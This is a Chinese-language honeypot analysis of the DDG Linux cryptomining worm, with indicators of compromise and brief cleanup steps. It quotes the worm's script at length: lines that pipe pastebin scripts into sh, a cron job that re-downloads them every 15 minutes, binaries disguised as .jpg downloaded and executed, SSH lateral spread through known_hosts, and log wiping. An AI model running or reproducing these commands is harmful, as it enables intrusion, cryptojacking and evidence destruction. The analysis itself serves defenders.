Linux蜜罐监测到 Linux下DDG挖矿病毒，该病毒通过SSH弱口令爆破植入病毒，查杀其他挖矿病毒和DDoS木马，执行自己的挖矿程序，达到谋利的目的。

IOC：

  116.85.19.47

域名：

  https://encodable.com

  http://shop.ybk001.com

  https://pastebin.com

MD5：

  DAFF9129837EC02FB3368D2EBB4731B3

Sha256：

  264DFA0C1E258801D81F949532750D5F295482ACAC2829673CDDB66AD0EC54ED

入侵方式

1、通过SSH弱口令爆破

2、爆破成功后，通过https://pastebin.com/恶意网站下载病毒脚本

(curl -fsSL https://pastebin.com/raw/ZgaEWBUa||wget -q -O- https://pastebin.com/raw/ZgaEWBUa)|sed -e 's/\r//g'|sh

3、病毒脚本分析如下：

a、每15分钟从https://pastebin.com/raw下载经过base64编码的脚本并执行

export PATH=$PATH:/bin:/usr/bin:/sbin:/usr/local/bin:/usr/sbin
mkdir -p /tmp
chmod 1777 /tmp
echo "*/15 * * * * (curl -fsSL https://pastebin.com/raw/KkY6JPLA||wget -q -O- https://pastebin.com/raw/KkY6JPLA)|sh" | crontab -

b、查杀其他可能存在的挖矿以及DDoS木马：

ps -ef|grep -v grep|grep hwlh3wlh44lh|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep Circle_MI|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep get.bi-chi.com|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep hashvault.pro|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep nanopool.org|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep /usr/bin/.sshd|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep /usr/bin/bsd-port|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "xmr"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "xig"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "ddgs"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "qW3xT"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "wnTKYg"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "t00ls.ru"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "sustes"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "thisxxs"|awk '{print $2}' | xargs kill -9
ps -ef|grep -v grep|grep "hashfish"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "kworkerds"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "/tmp/devtool"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "systemctI"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "plfsbce"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "luyybce"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "6Tx3Wq"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "dblaunchs"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "/boot/vmlinuz"|awk '{print $2}'|xargs kill -9
netstat -anp|grep 119.9.106.27|awk '{print $7}'|sed -e "s/\/.*//g"|xargs kill -9
netstat -anp|grep 104.130.210.206|awk '{print $7}'|sed -e "s/\/.*//g"|xargs kill -9

c、该病毒通过识别内核版本，下载对应病毒并执行

if [ ! -f "/tmp/.XIMunix" ] || [ ! -f "/proc/$(cat /tmp/.XIMunix)/io" ]; then
    chattr -i kerberods
    rm -rf kerberods
    ARCH=$(uname -m)
    if [ ${ARCH}x = "x86_64x" ]; then
        (curl --connect-timeout 30 --max-time 30 --retry 3 -fsSL https://encodable.com/uploaddemo/files/x64.jpg -o kerberods||wget --timeout=30 --tries=3 -q https://encodable.com/uploaddemo/files/x64.jpg -O kerberods||curl --connect-timeout 30 --max-time 30 --retry 3 -fsSL http://shop.ybk001.com/memberpic/exwhhs201942231402855772.jpg -o kerberods||wget --timeout=30 --tries=3 -q http://shop.ybk001.com/memberpic/exwhhs201942231402855772.jpg -O kerberods) && chmod +x kerberods
    elif [ ${ARCH}x = "i686x" ]; then
        (curl --connect-timeout 30 --max-time 30 --retry 3 -fsSL https://encodable.com/uploaddemo/files/x32.jpg -o kerberods||wget --timeout=30 --tries=3 -q https://encodable.com/uploaddemo/files/x32.jpg -O kerberods||curl --connect-timeout 30 --max-time 30 --retry 3 -fsSL http://shop.ybk001.com/memberpic/xyftgj2019422314472900044.jpg -o kerberods||wget --timeout=30 --tries=3 -q http://shop.ybk001.com/memberpic/xyftgj2019422314472900044.jpg -O kerberods) && chmod +x kerberods
    else
        (curl --connect-timeout 30 --max-time 30 --retry 3 -fsSL https://encodable.com/uploaddemo/files/x32.jpg -o kerberods||wget --timeout=30 --tries=3 -q https://encodable.com/uploaddemo/files/x32.jpg -O kerberods||curl --connect-timeout 30 --max-time 30 --retry 3 -fsSL http://shop.ybk001.com/memberpic/xyftgj2019422314472900044.jpg -o kerberods||wget --timeout=30 --tries=3 -q http://shop.ybk001.com/memberpic/xyftgj2019422314472900044.jpg -O kerberods) && chmod +x kerberods
    fi
        $(pwd)/kerberods || /usr/bin/kerberods || /usr/libexec/kerberods || /usr/local/bin/kerberods || kerberods || ./kerberods || /tmp/kerberods
fi

d、读取.ssh目录下known_hosts中的服务器地址，尝试使用密钥登录后横向传播

if [ -f /root/.ssh/known_hosts ] && [ -f /root/.ssh/id_rsa.pub ]; then
  for h in $(grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" /root/.ssh/known_hosts); do ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h '(curl -fsSL https://pastebin.com/raw/KkY6JPLA||wget -q -O- https://pastebin.com/raw/KkY6JPLA)|sh >/dev/null 2>&1 &' & done
fi

echo 0>/var/spool/mail/root
echo 0>/var/log/wtmp
echo 0>/var/log/secure
echo 0>/var/log/cron

4、中毒后的解决方法

a、rm /tmp 删除病毒体

b、ps auxf | grep -v grep | grep 病毒进程名 | awk '{print $2}'|xargs kill -9 杀死病毒进程

c、vim ~/.ssh/authorized_keys 如果是密钥登陆的话还需要再~/.ssh/authorized_keys(或者自定的路径)中删除不属于自己或者其他使用者的密钥